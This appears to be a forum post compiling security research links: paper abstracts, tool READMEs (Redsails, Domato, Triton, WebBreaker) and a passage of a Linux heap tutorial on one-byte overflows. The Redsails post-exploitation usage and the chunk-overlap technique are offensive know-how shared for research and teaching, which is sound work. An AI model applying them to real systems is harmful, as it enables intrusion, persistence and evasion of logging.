Nytro

Abstract—With the rise of attacks using PowerShell in the recent months, there has not been a comprehensive solution for monitoring or prevention. Microsoft recently released the AMSI solution for PowerShell v5, however this can also be bypassed. This paper focuses on repurposing various stealthy runtime .NET hijacking techniques implemented for PowerShell attacks for defensive monitoring of PowerShell. It begins with a brief introduction to .NET and PowerShell, followed by a deeper explanation of various attacker techniques, which is explained from the perspective of the defender, including assembly modification, class and method injection, compiler profiling, and C based function hooking. Of the four attacker techniques that are repurposed for defensive real-time monitoring of PowerShell execution, intermediate language binary modification, JIT hooking, and machine code manipulation provide the best results for stealthy run-time interfaces for PowerShell scripting analysis. Download: https://arxiv.org/pdf/1709.07508.pdf

Redsails About A post-exploitation tool capable of: maintaining persistence on a compromised machine subverting many common host event logs (both network and account logon) generating false logs / network traffic Based on [PyDivert] (https://github.com/ffalcinelli/pydivert), a Python binding for WinDivert, a Windows driver that allows user-mode applications to capture/modify/drop network packets sent to/from the Windows network stack. Built for Windows operating systems newer than Vista and Windows 2008 (including Windows 7, Windows 8 and Windows 10). Dependencies Redsails has dependencies PyDivert and WinDivert. You can resolve those dependencies by running: pip install pydivert pip install pbkdf2 Pycrypto is also needed. easy_install pycrypto Pycrypto may have a dependency on [Microsoft Visual C++ Compiler for Python 2.7] (http://aka.ms/vcpython27) Usage Server (victim host you are attacking) redSails.py Or if the victim does not have python installed, you can run provided exe (or compile your own! instructions below) `redSails.exe Client (attacker) redSailsClient.py <ip> <port> Creating an executable To compile an exe (for deployment) inlieu of the python script, you will need pyinstaller: pip install pyinstaller Then you can create the exe: pyinstaller-script.py -F --clean redSails.spec License Copyright (C) 2017 Robert J. McDown, Joshua Theimer This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/. Sursa: https://github.com/BeetleChunks/redsails

Abstract—Developing an approach to test cryptographic hash function implementations can be particularly difficult, and bugs can remain unnoticed for a very long time. We revisit the NIST SHA-3 hash function competition, and apply a new testing strategy to all available reference implementations. Motivated by the cryptographic properties that a hash function should satisfy, we develop four types of tests. The Bit-Contribution Test checks if changes in the message affect the hash value, and the Bit-Exclusion Test checks that changes beyond the last bit of the message leave the hash value unchanged. We develop the Metamorphic Update Test to verify that messages are processed correctly in chunks, and then use combinatorial testing methods to reduce the test set size by several orders of magnitude while retaining the same fault detection capability. Our tests detect bugs in 41 of the 86 reference implementations submitted to the SHA-3 competition, including the rediscovery of a bug in all submitted implementations of the SHA-3 finalist BLAKE. This bug remained undiscovered for seven years, and is particularly serious because it provides a simple strategy to modify the message without changing the hash value that is returned by the implementation. We will explain how to detect this type of bug, using a simple and fully-automated testing approach. Download: https://eprint.iacr.org/2017/891.pdf

Domato A DOM fuzzer Written and maintained by Ivan Fratric, ifratric@google.com Copyright 2017 Google Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Usage To generate a single .html sample run: python generator.py <output file> To generate multiple samples with a single call run: python generator.py --output_dir <output directory> --no_of_files <number of output files> The generated samples will be placed in the specified directory and will be named as fuzz-<number>.html, e.g. fuzz-1.html, fuzz-2.html etc. Generating multiple samples is faster because the input grammar files need to be loaded and parsed only once. Code organization generator.py contains the main script. It uses grammar.py as a library and contains additional helper code for DOM fuzzing. grammar.py contains the generation engine that is mostly application-agnostic and can thus be used in other (i.e. non-DOM) generation-based fuzzers. As it can be used as a library, its usage is described in a separate section below. .txt files contain grammar definitions. There are 3 main files, html.txt, css.txt and js.txt which contain HTML, CSS and JavaScript grammars, respectively. These root grammar files may include content from other files. Using the generation engine and writing grammars To use the generation engine with a custom grammar, you can use the following python code from grammar import Grammar my_grammar = Grammar() my_grammar.ParseFromFile('input_file.txt') result_string = my_grammar.GenerateSymbol('symbol_name') The following sections describe the syntax of the grammar files. Basic syntax Domato is based on an engine that, given a context-free grammar in a simple format specified below, generates samples from that grammar. A grammar is described as a set of rules in the following basic format <symbol> = a mix of constants and <other_symbol>s Each grammar rule contains a left side and the right side separated by the equal character. The left side contains a symbol, while the right side contains the details on how that symbol may be expanded. When expanding a symbol, all symbols on the right-hand side are expanded recursively while everything that is not a symbol is simply copied to the output. Note that a single rule can't span over multiple lines of the input file. Consider the following simplified example of a part of the CSS grammar: <cssrule> = <selector> { <declaration> } <selector> = a <selector> = b <declaration> = width:100% If we instruct the grammar engine to parse that grammar and generate 'cssrule', we may end up with either a { width:100% } or b { width:100% } Note there are two rules for the 'selector' symbol. In such cases, when the generator is asked to generate a 'selector', it will select the rule to use at random. It is also possible to specify the probability of the rule using the 'p' attribute, for example <selector p=0.9> = a <selector p=0.1> = b In this case, the string 'a' would be output more often than 'b' There are other attributes that can be applied to symbols in addition to the probability. Those are listed in a separate section. Consider another example for generating html samples <html> = <lt>html<gt><head><body><lt>/html<gt> <head> = <lt>head<gt>...<lt>/head<gt> <body> = <lt>body<gt>...<lt>/body<gt> Note that since the '<' and '>' have a special meaning in the grammar syntax, so here we are using <lt> and <gt>instead. These symbols are built in and don't need to be defined by the user. A list of all built-in symbols is provided in a separate section. Generating programming language code To generate programming language code, a similar syntax can be used, but there are a couple of differences. Each line of the programming language grammar is going to correspond to the line of the output. Because of that, the grammar syntax is going to be more free-form to allow expressing constructs in various programming languages. Secondly, when a line is generated, in addition to outputting the line, one or more variables may be created and those variables may be reused when generating other lines. Again, let's take a look of the simplified example: !varformat fuzzvar%05d !lineguard try { <line> } catch(e) {} !begin lines <new element> = document.getElementById("<string min=97 max=122>"); <element>.doSomething(); !end lines If we instruct the engine to generate 5 lines, we may end up with something like try { var00001 = document.getElementById("hw"); } catch(e) {} try { var00001.doSomething(); } catch(e) {} try { var00002 = document.getElementById("feezcqbndf"); } catch(e) {} try { var00002.doSomething(); } catch(e) {} try { var00001.doSomething(); } catch(e) {} Note that programming language lines are enclosed in '!begin lines' and '!end lines' statement. This gives the grammar parser the necessary information that the lines inbetween are programming language lines and are thus parsed differently. We used <new element> instead of <element>. This instructs the generator to create a new variable of type 'element' instead of generating the 'element' symbol. <string> is one of the built-in symbols so no need to define it. [optional] You can use !varformat statement to define the format of variables you want to use [optional] You can use !lineguard statement to define additional code that gets inserted around every line in order to catch exceptions or perform other tasks. This is so you wouldn't need to write it for every line separately. In addition to '!begin lines' and '!end lines' you can also use '!begin helperlines' and '!end helperlines' to define lines of code that will only ever be used if required when generating other lines (for example, helper lines might generate variables needed by the 'main' code, but you don't ever want those helper lines to end up in the output when they are not needed). Comments Everythng after the first '#' character on the line is considered a comment, so for example #This is a comment Preventing infinite recursions The grammar syntax has a way of telling the fuzzer which rules are nonrecursive and can be safe to use even if the maximum level of recursion has been reached. This is done with the ‘nonrecursive’ attributes. An example is given below. !max_recursion 10 <test root=true> = <foobar> <foobar> = foo<foobar> <foobar nonrecursive> = bar Firstly, an optional ‘!max_recursion’ statement defines the maximum recursion depth level (50 by default). Notice that the second production rule for ‘foobar’ is marked as non-recursive. If ever the maximum recursion level is reached the generator will force using the non-recursive rule for ‘foobar’ symbol, thus preventing infinite recursion. Including and importing other grammar files In Domato, including and importing grammars are two different context. Including is simpler. You can use !include other.txt to include rules from other.txt into the currently parsed grammar. Importing works a bit differently !import other.txt tells the parser to create a new Grammar() object that can then be referenced from the current grammar by using the special <import> symbol, for example like this: <cssrule> = <import from=css.txt symbol=rule> You can think about importing and including in terms of namespaces: !include will put the included grammar into the single namespace, while !import will create a new namespace which can then be accessed using the <import>symbol and the namespace specified via the 'from' attribute. Including Python code Sometimes you might want to call custom Python code in your grammar. For example, let’s say you want to use the engine to generate a http response and you want the body length to match the 'Size' header. Since this is something not possible with normal grammar rules, you can include custom Python code to accomplish it like this: !begin function savesize context['size'] = ret_val !end function !begin function createbody n = int(context['size']) ret_val = 'a' * n !end function <foo root> = <header><cr><lf><body> <header> = Size: <int min=1 max=20 beforeoutput=savesize> <body> = <call function=createbody> The python functions are defined between ‘!begin function <function_name>’ and ‘!end function’ commands. The functions can be called in two ways: using ‘beforeoutput’ attribute and using symbol. By specifying the ‘beforeoutput’ attribute in some symbol, the corresponding function will be called when this symbol is expanded, just before the result of the expansion is output to the sample. The expansion result will be passed to the function in the ret_val variable. The function is then free to modify ret_val, store it for later use or perform any other operations. When using a special <call> symbol, the function (specified in a ‘function’ attribute) will be called when the symbol is encountered during language generation. Any value stored by the function in ret_val will be considered the result of the expansion (ret_val gets included in the sample). Your python code has access to the following variables: context - a dictionary that is passed through the whole sample generation. You can use it to store values (such as storing the size in an example above) and retrieve them in the rules that fire subsequently. attributes - a dictionary corresponding to the symbol currently being processed. You can use it to pass parameters to your functions. For example if you used something like to call your function attributes[‘foo’] will be set to ‘bar’. ret_val - The value that will be output as a result of the function call. It is initialized to an empty value when using symbol to call a function, otherwise it will be initialized to the value generated by the symbol. Built-in symbols The following symbols have a special meaning and should not be redefined by users: <lt> - ‘<’ character <gt> - ‘>’ character <hash> - ‘#’ character <cr> - CR character <lf> - LF character <space> - space character <tab> - tab character <ex> - ‘!’ character <char> - can be used to generate an arbitrary ascii character using ‘code’ attribute. For example <char code=97> corresponds to ‘a’. Generates random character if not specified. Supports ‘min’ and ‘max’ attribute. <hex> - generates a random hex digit <int>, <int 8>, <uint8>, <int16>, <uint16>, <int32>, <uint32>, <int64>, <uint64> - can be used to generate random integers. Supports ‘min’ and ‘max’ attribute that can be used to limit the range of integers that will be generated. Supports the ‘b’ and ‘be’ attribute which makes the output binary in little/big endian format instead of text output. <float>, <double> - generates a random floating-point number. Supports ‘min’ and ‘max’ attribute (0 and 1 if not specified). Supports ‘b’ attribute which makes the output binary. <string> - generates a random string. Supports ‘min’ and ‘max’ attributes which control the minimum and maximum charcode generated as well as ‘minlength’ and ‘maxlength’ attributes that control the length of the string <lines> - outputs the given number (via ‘count’ attribute) lines of code. See the section on generating programming language code for example. <import> - imports a symbol from another grammar, see the section on including external grammars for details. <call> - calls a user-defined function corresponding to the function attribute. See the section on including Python code in the grammar for more info. Symbol attributes The following attributes are supported: root - marks a symbol as the root symbol of the grammar. The only supported value is ‘true’. When GenerateSymbol() is called, if no argument is specified, the root symbol will be generated. nonrecursive - gives the generator a hint that this rule doesn’t contain recursion loops and is used to prevent infinite recursions. The only supported value is ‘true’. new - used when generating programming languages to denote that a new variable is created here rather than expanding the symbol as usual. The only supported value is ‘true’. from, symbol - used when importing symbols from other grammars, see ‘Including external grammars’ section. count - used in lines symbol to specify the number of lines to be created. id - used to mark that several symbols should share the same value. For example in the rule ‘doSomething(<int id=1>, <int id=1>)’ both ints would end up having the same value. Only the first instance is actually expanded, the second is just copied from the first. min, max - used in generation of numeric types to specify the minimum and maximum value. Also used to limit the set of characters generated in strings. b, be - used in numeric types to specify binary little-endian (‘b’) or big-endian (‘be’) output. code - used in char symbol to specify the exact character to output by its code. minlength, maxlength - used when generating strings to specify the minimum and maximum length. up - used in hex symbol to specify uppercase output (lowercase is the default). function - used in the <call> symbol, see ‘Including Python code’ section for more info. beforeoutput - used to call user-specified functions, see ‘Including Python Bug Showcase Some of the bugs that have been found with Domato: Apple Safari: CVE-2017-2369, CVE-2017-2373, CVE-2017-2362, CVE-2017-2454, CVE-2017-2455, CVE-2017-2459, CVE-2017-2460, CVE-2017-2466, CVE-2017-2471, CVE-2017-2476, CVE-2017-7039, CVE-2017-7040, CVE-2017-7041, CVE-2017-7042, CVE-2017-7043, CVE-2017-7046, CVE-2017-7048, CVE-2017-7049 Google Chrome: Issues 666246 and 671328 Microsoft Internet Explorer 11: CVE-2017-0037, CVE-2017-0059, CVE-2017-0202, CVE-2017-8594 Microsoft Edge: CVE-2017-0037, CVE-2017-8496, CVE-2017-8652, CVE-2017-8644 Mozilla Firefox: CVE-2017-5404, CVE-2017-5447, CVE-2017-5465 Disclaimer This is not an official Google product. Sursa: https://github.com/google/domato

INTRO Global Proxy App for Android System ProxyDroid is distributed under GPLv3 with many other open source software, here is a list of them: cntlm - authentication proxy: http://cntlm.sourceforge.net/ redsocks - transparent socks redirector: http://darkk.net.ru/redsocks/ netfilter/iptables - NAT module: http://www.netfilter.org/ transproxy - transparent proxy for HTTP: http://transproxy.sourceforge.net/ stunnel - multiplatform SSL tunneling proxy: http://www.stunnel.org/ TRAVIS CI STATUS Nightly Builds PREREQUISITES JDK 1.6+ Maven 3.0.5 Android SDK r17+ Android NDK r8+ Local Maven Dependencies Use Maven Android SDK Deployer to install all android related dependencies. git clone https://github.com/mosabua/maven-android-sdk-deployer.git pushd maven-android-sdk-deployer export ANDROID_HOME=/path/to/android/sdk mvn install -P 4.1 popd BUILD Invoke the building like this mvn clean install Sursa: https://github.com/madeye/proxydroid

Subgraph OS: Adversary resistant computing platform Subgraph OS is a desktop computing and communications platform that is designed to be resistant to network-borne exploit and malware attacks. It is also meant to be familiar and easy to use. Even in alpha, Subgraph OS looks and feels like a modern desktop operating system. Subgraph OS includes strong system-wide attack mitigations that protect all applications as well as the core operating system, and key applications are run in sandbox environments to reduce the impact of any attacks against applications that are successful. Subgraph OS was designed to reduce the risks in endpoint systems so that individuals and organizations around the world can communicate, share, and collaborate without fear of surveillance or interference by sophisticated adversaries through network borne attacks. Subgraph OS is designed to be difficult to attack. This is accomplished through system hardening and proactive, ongoing research on defensible system design. CLICK TO EXPLORE SUBGRAPH OS Hardened kernel built with grsecurity, PaX, and RAP Subgraph OS includes a kernel hardened with the well-respected grsecurity/PaX patchset for system-wide exploit and privilege escalation mitigation. In addition to making the kernel more resistant to attacks, grsecurity and PaX security features offer strong security protection to all processes running without modification (i.e. recompiling / relinking). The Subgraph OS kernel is also built with the recently released RAP (demo from the test patch) security enhancements designed to prevent code-reuse (i.e. ROP) attacks in the kernel. This is an important mitigation against contemporary exploitaion techniques and greatly increases the resistance of the kernel to modern exploits that can be used to escalate privileges once an application on the endpoint is breached. grsecurity, PaX, and RAP are essential defenses implemented in Subgraph OS. The Subgraph OS kernel (4.9) is also built with fewer features to the extent possible producing a widely-usable desktop operating system. This is done to proactively reduce kernel attack surface. INFORMATION ABOUT THE SUBGRAPH OS KERNEL Sandboxed applications Subgraph OS runs exposed or vulnerable applications in sandbox environments. This sandbox framework, known as Oz, unique to Subgraph OS, is designed to isolate applications from each other and the rest of the system. Access to system resources are only granted to applications that need them. For example, the PDF viewer and the image viewer do not have access to any network interface in the sandbox they're configured to run in. The technologies underlying Oz include Linux namespaces, restricted filesystem environments, desktop isolation, and seccomp bpf to reduce kernel attack surface through system call whitelists. Subgraph is regularly instrumenting applications and libraries to limit the exposed kernel API to what is necessary for each sandboxed application to function. Many applications only need about one-third to one-half of the available system calls to function, and the Subgraph Oz sandbox framework ensures that the unnecessary system calls cannot be invoked (Oz can and often does restrict system calls to specific known parameters to further narrow kernel attack surface through system calls such as ioctl(2)). Subgraph OS will soon be using gosecco, a new library for seccomp-bpf that lets policies be expressed in a format that is more efficient, cross-platform, and understandable to humans. Sandboxed applications include: Web browser Email client with built-in support for encryption CoyIM instant messenger LibreOffice productivity suite PDF viewer Image viewer Video player Hexchat SANDBOX TECHNICAL WALKTHROUGH Memory Safety Most custom code written for Subgraph OS is written in Golang, which is a memory safe language. Golang libraries are also often implemented in pure Golang, which is in contrast to other popular languages such as Python. While the Python runtime may be memory safe, the C languages wrapped by so many of the commonly used libraries expose tools written in Python to the same old memory corruption vulnerabilities. Application firewall Subgraph also includes an application firewall that will detect and alert the user to unexpected outbound connections by applications. The Subgraph application firewall is fairly unique to Linux-based operating systems and is an area of ongoing development. MORE SCREENSHOTS OF SUBGRAPH OS Other security features Subgraph OS is constantly improving and hardening the default security state of the operating system. This includes making configuration enhancements and adding entirely new mitigations. Additional security features in Subgraph OS include: AppArmor profiles covering many system utilities and applications Security event monitor and desktop notifications (coming soon) Roflcoptor tor control port filter service Port to new seccomp-bpf golang library Gosecco Hardened Subgraph OS is based on a foundation designed to be resistant to attacks against operating systems and the applications they run. MORE Anonymized Subgraph OS includes built-in Tor integration, and a default policy that sensitive applications only communicate over the Tor network. MORE Secure communication Subgraph OS ships with a new, more secure IM client, and an e-mail client configured by default for PGP and Tor support. MORE Alpha release availability Try the Subgraph OS Alpha today. You can install it on a computer, run it as a live-disk, or use it in a VM. TRY SUBGRAPH OS ALPHA Sursa: https://subgraph.com/index.en.html

MacOS host monitoring - the open source way Michael George Derbycon 2017 MacOS host monitoring - the open source way, I will talk about a example piece of malware(Handbrake/Proton) and how you can use open source tooling detection tooling to do detection and light forensics. Since I will be talking about the handbrake malware, I will also be sharing some of the TTPs the malware used if you want to find this activity in your fleet. Dropbox - Security Engineer. I work on the Incident Response team at Dropbox. I primarily work on host-based detection systems. Sursa: http://www.irongeek.com/i.php?page=videos/derbycon7/s30-macos-host-monitoring-the-open-source-way-michael-george

Stealing Windows Credentials Using Google Chrome Author/Researcher: Bosko Stankovic (bosko defensecode.com) http://www.defensecode.com Attacks that leak authentication credentials using the SMB file sharing protocol on Windows OS are an ever-present issue, exploited in various ways but usually limited to local area networks. One of the rare research involving attacks over the internet was recently presented by Jonathan Brossard and Hormazd Billimoria at the Black Hat security conference[1] [2] in 2015. However, there have been no publicly demonstrated SMB authentication related attacks on browsers other than Internet Explorer and Edge in the past decade. This paper describes an attack which can lead to Windows credentials theft, affecting the default configuration of the most popular browser in the world today, Google Chrome, as well as all Windows versions supporting it. Download: https://www.exploit-db.com/docs/42015.pdf

Triton is a dynamic binary analysis (DBA) framework. It provides internal components like a Dynamic Symbolic Execution (DSE) engine, a Taint Engine, AST representations of the x86 and the x86-64 instructions set semantics, SMT simplification passes, an SMT Solver Interface and, the last but not least, Python bindings. Based on these components, you are able to build program analysis tools, automate reverse engineering and perform software verification. As Triton is still a young project, please, don't blame us if it is not yet reliable. Open issues or pull requests are always better than troll =). A full documentation is available on our doxygen page. Quick start Description Installation Examples Presentations and Publications Internal documentation Dynamic Symbolic Execution Symbolic Execution Optimizations AST Representations of Semantics SMT Semantics Supported SMT Solver Interface SMT Simplification Passes Spread Taint Tracer Independent Python Bindings News A blog is available and you can follow us on twitter @qb_triton or via our RSS feed. Support IRC: #qb_triton@freenode Mail: triton at quarkslab com Authors Jonathan Salwan - Lead dev, Quarkslab Pierrick Brunet - Core dev, Quarkslab Florent Saudel - Core dev, Bordeaux University Romain Thomas - Core dev, Quarkslab Cite Triton @inproceedings{SSTIC2015-Saudel-Salwan, author = {Florent Saudel and Jonathan Salwan}, title = {Triton: A Dynamic Symbolic Execution Framework}, booktitle = {Symposium sur la s{\'{e}}curit{\'{e}} des technologies de l'information et des communications, SSTIC, France, Rennes, June 3-5 2015}, publisher = {SSTIC}, pages = {31--54}, year = {2015}, } Sursa: https://github.com/JonathanSalwan/Triton

Introduction Build functional security testing, into your software development and release cycles! WebBreaker provides the capabilities to automate and centrally manage Dynamic Application Security Testing (DAST) as part of your DevOps pipeline. WebBreaker truly enables all members of the Software Security Development Life-Cycle (SDLC), with access to security testing, greater test coverage with increased visibility by providing Dynamic Application Security Test Orchestration (DASTO). Current support is limited to the World's most popular commercial DAST product, WebInspect. System Architecture Supported Features Command-line (CLI) scan administration of WebInspect with Foritfy SSC products. Jenkins Environmental Variable & String Parameter support (i.e. $BUILD_TAG) Docker container v17.x support Custom email alerting or notifications for scan launch and completion. Extensible event logging for scan administration and results. WebInspect REST API support for v9.30 and later. Fortify Software Security Center (SSC) REST API support for v16.10 and later. WebInspect scan cluster support between two (2) or greater WebInspect servers/sensors. Capabilities for extensible scan telemetry with ELK and Splunk. GIT support for centrally managing WebInspect scan configurations. Replaces most functionality of Fortify's fortifyclient Python compatibility with versions 2.x or 3.x Provides AES 128-bit key management for all secrets from the Fernet encryption Python library. Quick Local Installation and Configurations Installing WebBreaker from source: git clone https://github.com/target/webbreaker pip install -r requirements.txt python setup.py install Configuring WebBreaker: Point WebBreaker to your WebInspect API server(s) by editing: webbreaker/etc/webinspect.ini Point WebBreaker to your Fortify SSC URL by editing: webbreaker/etc/fortify.ini SMTP settings on email notifications and a message template can be edited in webbreaker/etc/email.ini Mutually exclusive remote GIT repos created by users, are encouraged to persist WebInspect settings, policies, and webmacros. Simply, add the GIT URL to the webinspect.ini and their respective directories. NOTES: Required: As with any Python application that contains library dependencies, pip is required for installation. Optional: Include your Python site-packages, if they are not already in your $PATH with export PATH=$PATH:$PYTHONPATH. Usage WebBreaker is a command-line interface (CLI) client. See our complete WebBreaker Documentation for further configuration, usage, and installation. The CLI supports upper-level and lower-level commands with respective options to enable interaction with Dynamic Application Security Test (DAST) products. Currently, the two Products supported are WebInspect and Fortfiy (more to come in the future!!) Below is a Cheatsheet of supported commands to get you started. List all WebInspect scans: webbreaker webinspect list --server webinspect-1.example.com:8083 Query WebInspect scans: webbreaker webinspect list --server webinspect-1.example.com:8083 --scan_name important_site List with http: webbreaker webinspect list --server webinspect-1.example.com:8083 --protocol http Download WebInspect scan from server or sensor: webbreaker webinspect download --server webinspect-2.example.com:8083 --scan_name important_site_auth Download WebInspect scan as XML: webbreaker webinspect download --server webinspect-2.example.com:8083 --scan_name important_site_auth -x xml Download WebInspect scan with http (no SSL): webbreaker webinspect download --server webinspect-2.example.com:8083 --scan_name important_site_auth --protocol http Basic WebInspect scan: webbreaker webinspect scan --settings important_site_auth Advanced WebInspect Scan with Scan overrides: webbreaker webinspect scan --settings important_site_auth --allowed_hosts example.com --allowed_hosts m.example.com Scan with local WebInspect settings: webbreaker webinspect scan --settings /Users/Matt/Documents/important_site_auth Initial Fortify SSC listing with authentication (SSC token is managed for 1-day): webbreaker fortify list --fortify_user matt --fortify_password abc123 Interactive Listing of all Fortify SSC application versions: webbreaker fortify list List Fortify SSC versions by application (case sensitive): webbreaker fortify list --application WEBINSPECT Upload to Fortify SSC with command-line authentication: webbreaker fortify upload --fortify_user $FORT_USER --fortify_password $FORT_PASS --version important_site_auth Upload to Fortify SSC with interactive authentication & application version configured with fortify.ini: webbreaker fortify upload --version important_site_auth --scan_name auth_scan Upload to Fortify SSC with application/project & version name: webbreaker fortify upload --application my_other_app --version important_site_auth --scan_name auth_scan WebBreaker Console Output webbreaker webinspect scan --settings MyCustomWebInspectSetting --scan_policy Application --scan_name some_scan_name _ __ __ ____ __ | | / /__ / /_ / __ )________ ____ _/ /_____ _____ | | /| / / _ \/ __ \/ __ / ___/ _ \/ __ `/ //_/ _ \/ ___/ | |/ |/ / __/ /_/ / /_/ / / / __/ /_/ / ,< / __/ / |__/|__/\___/_.___/_____/_/ \___/\__,_/_/|_|\___/_/ Version 1.2.0 JIT Scheduler has selected endpoint https://some.webinspect.server.com:8083. WebInspect scan launched on https://some.webinspect.server.com:8083 your scan id: ec72be39-a8fa-46b2-ba79-10adb52f8adb !! Scan results file is available: some_scan_name.fpr Scan has finished. Webbreaker complete. Bugs and Feature Requests Found something that doesn't seem right or have a feature request? Please open a new issue. Copyright and License Copyright 2017 Target Brands, Inc. Licensed under MIT. Sursa: https://github.com/target/webbreaker

Linux Heap Exploitation Intro Series: The magicians cape – 1 Byte Overflow Reading time ~21 min Posted by javier on 20 September 2017 Categories: Heap, Heap linux, Heap overflow Intro Hello again! It’s been a while since the last blog post. This is due to not having as much time as we wanted but hopefully you all kept the pace with this heapy things as they are easy to forget due to the heavy amount of little details the heap involves. On this post we are going to demonstrate how a single byte overflow, with a user controlled value, can cause chunks to disappear for the implementation like a magician puts a cape on top of objects (chunks) and makes them disappear. The Vulnerability Preface For the second part of our series we are going for another rather common vulnerability happening out there. From my own experience, it sometimes confusing and hard to get the sizes right for elements (be it arrays, allocations, variables in general) because of the confusion between declaring “something” and actually accessing each element (i.e. byte) of that “something”. I know, sounds weird, but look at the following code: int array_of_integers[10]; // (1) int i; for (i = 1; i <= 10; i++) // (2) { array_of_integers[i] = 1; // (3) } In this code, we wanted to have an array of ten integers (1) and then iterate over the array (2) and set every element of the array to the number 1. As you might or might not know, the first element of an array is not the number one, in C, these start with zero (array_of_integers[0]). What will happen here is that when the variable i reaches 10, the code will try to write to array_of_integers[10] which is not allocated, effectively doing out-of-bounds write, exactly 4 bytes more than expected as 4 bytes is the size of an int. Also, keeping the pace up with ptmalloc2 implementation and to keep these blog posts as “fresh” and “new” as possible, here we have a fairly new exploit against SAPCAR (CVE-2017-8852) by CoreSecurity that takes advantage of a buffer overflow happening in the heap. It’s an easy and cool read! What This kind of vulnerability falls into the category of buffer overflows or out-of-bounds. Specifically in this blog post we are going to see what could happen in the case of an out-of-bounds 1 byte write. At first glance one could think there is not many possibilities on just writing one byte but, if we remember how an allocated chunk is placed into memory we begin to “believe”: +-+-+-+-+-+-+-+-+-+-+-+-+ | PREV_SIZE OR USER DATA| <-- Previous Chunk Data (OVERFLOW HERE) +-----------------+-+-+-+ <-- Chunk start | CHUNK SIZE |A|M|P| +-----------------+-+-+-+ | USER DATA | | | | - - - - - - - -| | PREV_SIZE OR USER DATA| +-----------------------+ <-- End of chunk As we can see, 1 byte overwrite will mess up the Main Arena (A), Is MMaped (M) and Previous in-use (P) bits as well as overwriting the first byte of the CHUNK SIZE. The implications of this type of vulnerability (cliché) are endless: changing the previous in-use bit leading to strange memory corruptions that when free()‘ing, maliciously crafted memory, would lead to arbitrary overwrite (overwriting pointers to functions), shrinking or growing adjacent chunks by tampering with the next chunk’s size thus leading to chunks overlapping or memory fragmentation which would lead to use-after-invalidation bugs (memory leaks, use-after-free, etc.). When stars collide one byte To prepare the scenario for this kind of vulnerability, I inspired myself heavily on the Forgotten Chunks[1] paper by Context. I took my own way in the sense that I decided to build two proof of concepts for the techniques described there as well as a challenge for you to test out! One byte write In this scenario we count with the following: There are three allocated chunks and the first of them A, is the vulnerable one to our one byte overflow. To simplify things; we can write into the first two chunks A and B but not into the third chunk C. We can read from all of them. Let’s see the initial state of the heap of this in our beloved chunky-ascii-art. +---HEAP GROWS UPWARDS | | +-+-+-+-+-+-+ | | CHUNK A | <-- Read/Write | +-----------+ | | CHUNK B | <-- Read/Write | +-----------+ | | CHUNK C | <-- Read | +-----------+ | | TOP | | | | V | | +-----------+ Our goal is to write into chunk C. To do so we would need the following to happen. 1 – Previous to any overflows and to prevent memory corruptions because we are going to overflow into chunk B, the first thing to make happen is to free() chunk B. +---HEAP GROWS UPWARDS | | +-+-+-+-+-+-+ | | CHUNK A | <-- Read/Write | +-----------+ | | FREE B | | +-----------+ | | CHUNK C | <-- Read | +-----------+ | | TOP | | | | V | | +-----------+ 2 – Now that chunk B is free, we are going to trigger the one byte overflow that is present in chunk A and overflow one byte into chunk B. This will change the first byte of chunk’s B size – in our case, we will make it grow. Let’s say that our chunks are of the following sizes: A(0x100-WORD_SIZE), B(0x100-WORD_SIZE), C(0x40-WORD_SIZE) Let me state that WORD_SIZE is a variable that will be 8 on 64bit systems and 4 on 32bit systems. This was already explained in the Painless Intro to ptmalloc2 blog post but again: This WORD_SIZE is subtracted from the size we actually want because it is the size that the chunk’s size header will take in memory so, to keep the chunks within the size we expect (0x100 or 0x40) we subtract the size header’s size (WORD_SIZE) to prevent padding to the next WORD_SIZE*2 size. I know this is too condensed but it is a must to be able to understand this to proceed. By now we can see where all this goes, right? That’s it, we are about to overwrite chunk’s B size to make it be as big enough to have B+C size. So, we know that B is 0x100 and C is 0x40, then let me ask you a question: With which byte would we need to overflow A so that it puts it into B‘s size to completely overlap C on a 64bit system? a) 0x40 0x41 c) 0x48 That’s right, none of them. We shouldn’t be choosing values ending in zero or an even number because all of these, in binary, translate to leaving the last bit unset. This means that the PREV_INUSE bit will be set to zero creating a memory corruption in some cases as chunk A is not really free. That leaves 0x40 and 0x48 out. If you have chosen 0x48, you might know the reason why 0x41 is not valid to completely overlap C: Because we need to add 8 bytes due to C‘s size header length placed just after B. The right answer is 0x51 as it keeps the PREV_INUSE bit set and is the next 16 byte padded size to 0x40. Enough chit-chat, but it was necessary. Remember that B is free()‘d, so B->fd and B->bk (pointers to next’s and previous free chunks if any) are set as well as the next’s chunk (C) PREV_SIZE: -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| +-----------------+-+-+-+ |FREE B SIZE = \x01\x51| <-- Size Overflown 0x151 +-----------------+-+-+-+ |B->fd = main_arena->TOP| |B->bk = main_arena->TOP| +-----------------------+ |PREV_SIZE B = \x01\x01| <-- PREV_SIZE now doesn't match B size +-----------------------+ |CHUNK C SIZE = \x41| <-- 0x100 + 0x1 +-----------------+-+-+-+ | | | | | | | | +-----------------------+ | TOP | <-- B->fd and B->fk point here +-----------------------+ | | | | | | | | +-----------------------+ 3 – Ok! The buffer overflow is triggered now and chunk’s B size has been changed to 0x151. What should happen now to overlap into chunk C? We would need an allocation of a size near to: old B size + C size = 0x100 + 0x40. When the following allocation happens: B = malloc(0x100+0x40); Chunk B will be now overlapping chunk C in its entirety as we can see in the following figure. -=Data gets populated from right to left and from top to bottom=- <--- 8 bytes wide ---> +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| +-----------------+-+-+-+ |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| |x51\x51\x51\x51\x51\x51| 